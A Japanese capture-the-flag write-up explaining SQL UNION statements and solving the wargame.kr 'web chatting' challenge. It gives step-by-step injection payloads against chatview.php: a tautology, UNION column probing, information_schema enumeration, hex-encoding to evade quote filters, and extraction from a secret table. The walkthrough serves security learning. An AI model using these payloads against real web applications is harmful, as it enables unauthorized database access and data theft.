union文を使ったSQLインジェクションを試す (wargame.kr web chatting, )
union文とは
union文とは複数のselect文の結果を統合するSQL文です。
union文の例:
「select 1,2」の結果の下に「select 3,4」の結果を付け足すのがunion文です。
データベースは列の数をそろえなければならないので指定するカラム数は同じでなければなりません。
union文を使ったSQLi
http://wargame.kr:8080/web_chatting/chat.php
wargame.krの問題を使ってSQLインジェクションを試してみます。
ログインするとチャット画面に移動し、下の入力から任意の文字を書き込めます。chromeの検証->networkを使用して書き込む際のネットワークパケットを観察すると、「chatview.php」と「chatlog.php」にアクセスしていることがわかります。
chatview.phpでは今まで自分が書き込んだ文字が表示されます。
chatview.phpのGETパラメータにsqlインジェクションを試してみます。
chatview.php?t=1&nil=53351 or 1=1 --
すると今までにchatに書き込まれた文字が一覧表示されました。ここから攻撃を仕掛けられそうです。以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,2,3,4,5%20--
すると最後のほうにunionでつなげた値を表示させることができました。カラムの 2列目は名前、3列目は書き込んだ内容、5列目にはIPアドレスが格納されているようです。
infomation.schemaテーブルを利用してまずはデータベースのテーブル名を全て調べます。
chatview.php?t=1&ni=53351%20union%20select%201,table_name,3,4,5 from information_schema.tables%20--
information.schemaにはデータベースの構成情報が含まれており、information.schema.tablesのtable__nameにはテーブル名の一覧が格納されています。
「chat_log_secret」という怪しいテーブルを見つけました。ここにフラグがありそうです。chat_log_secretのカラム名を調べたい場合、以下のように入力します。
chatview.php?t=1&ni=53351%20union%20select%201,column_name,3,4,5 from information_schema.columns where table_name="chat_log_secret"%20--
しかし攻撃文に「"」や「'」を入れてしまうとエラーが起きてしまいます。なので文字列はasciiコードに変換します。
chatview.php?t=1&ni=53351 union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x636861745f6c6f675f736563726574 --
うまくいきました。テーブル名とカラム名がわかったのであとはその情報を抜き出すだけです。
chatview.php?t=1&ni=53351 union select 1,readme,3,4,5%20from chat_log_secret --